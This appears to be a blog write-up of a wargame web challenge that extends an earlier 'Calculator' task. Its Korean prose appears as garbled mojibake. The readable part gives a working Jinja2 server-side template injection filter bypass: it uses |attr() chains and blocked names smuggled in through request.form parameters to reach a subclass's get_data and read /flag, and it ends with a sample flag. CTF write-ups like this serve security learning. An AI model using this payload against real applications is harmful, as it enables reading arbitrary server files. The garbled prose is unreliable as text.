0x01 ๋ฌธ์ ์ค๋ช
์ด์ Calculator ๋ฌธ์ ์ ์ด์ด์ง๋ ๋ฒ์ ์ ๋ฌธ์ ๋ค. ์ค๋ช ์ ๋ฐ๋ฅด๋ฉด ์ทจ์ฝ์ ์ ๋ฐฉ์ดํ๋ ์ฝ๋๋ฅผ ์ถ๊ฐ ํ์๋ค๋ ๊ฒ์ ์ ์ ์๋ค.
0x02 ํ์ด ๊ณผ์
_
, .
, mro
๋ฑ ๊ณผ ๊ฐ์ ๋ฌธ์๋ค์ด ์ถ๊ฐ๋ก ํํฐ๋ง ๋๊ณ ์๋ค. ์ด์ ๋ฌธ์ ์ ๊ฐ์ด fileloader๋ฅผ ์ด์ฉํ์ฌ /flag ๋ฅผ ์ฝ์ด์ฌ ์์ ์ด๋ค. SSTI ๊ณต๊ฒฉ์ ์ํํ๋ ๊ณผ์ ์ Calculator ์์ ๋ค๋ค๊ธฐ์, ์ด๋ฒ์ ์ฌ์ฉํ ํํฐ๋ง ์ฐํ์ ๊ดํด์๋ง ์ด์ผ๊ธฐํด ๋ณผ ๊ฒ์ด๋ค.
. ํํฐ๋ง ์ฐํ
A.B -> A|attr('B')
ํน์ ๋ฌธ์ ํํฐ๋ง ์ฐํ
__class__
data=request.form.get('a')&a=__class__
์์๊ฐ์ ๋ฐฉ์์ผ๋ก ''.class.mro[1].subclasses()[99].get_data('/flag')
๋ฅผ ์ฐํํ ๊ฒฐ๊ณผ๋ ์๋์ ๊ฐ๋ค.
data=''|attr(request|attr('form')|attr('get')('a'))|attr(request|attr('form')|attr('get')('b'))|attr(request|attr('form')|attr('get')('c'))(1)|attr(request|attr('form')|attr('get')('d'))()|attr('pop')(99)(request|attr('form')|attr('get')('e'),request|attr('form')|attr('get')('e'))|attr(request|attr('form')|attr('get')('f'))(request|attr('form')|attr('get')('e'))&a=__class__&b=__mro__&c=__getitem__&d=__subclasses__&e=flag&f=get_data
๊ฐ๋ ์ฑ์ด ์ฌํ ๋จ์ด์ง์ง๋ง, ์ค์ ๋ก๋ ๊ทธ๋ฆฌ ๋ณต์กํ์ง ์๋ค.
0x03 ๊ฒฐ๊ณผ ํ์ธ
- FLAG
- H4CGM{asdfasdfasdfasdfasdfasdf}
0x04 ํ๊ณ ๋ฐ ์ฐธ๊ณ ๋ด์ฉ
ํํฐ๋ง์ ํ๋ํ๋ ์ฐํํ๋ ๊ณผ์ ์ ๋ ํฅ๋ฏธ๋กญ๊ฒ ๋๋๋ค.
์ฐธ๊ณ
https://dohunny.tistory.com/20
'wargame ๐ดโโ ๏ธ write-up > H4CKING GAME' ์นดํ ๊ณ ๋ฆฌ์ ๋ค๋ฅธ ๊ธ
[Web Hacking] Real PHP LFI (0) | 2025.01.02 |
---|---|
[Web Hacking] Smuggling (0) | 2024.12.30 |
[Web Hacking] Calculator (1) | 2024.12.19 |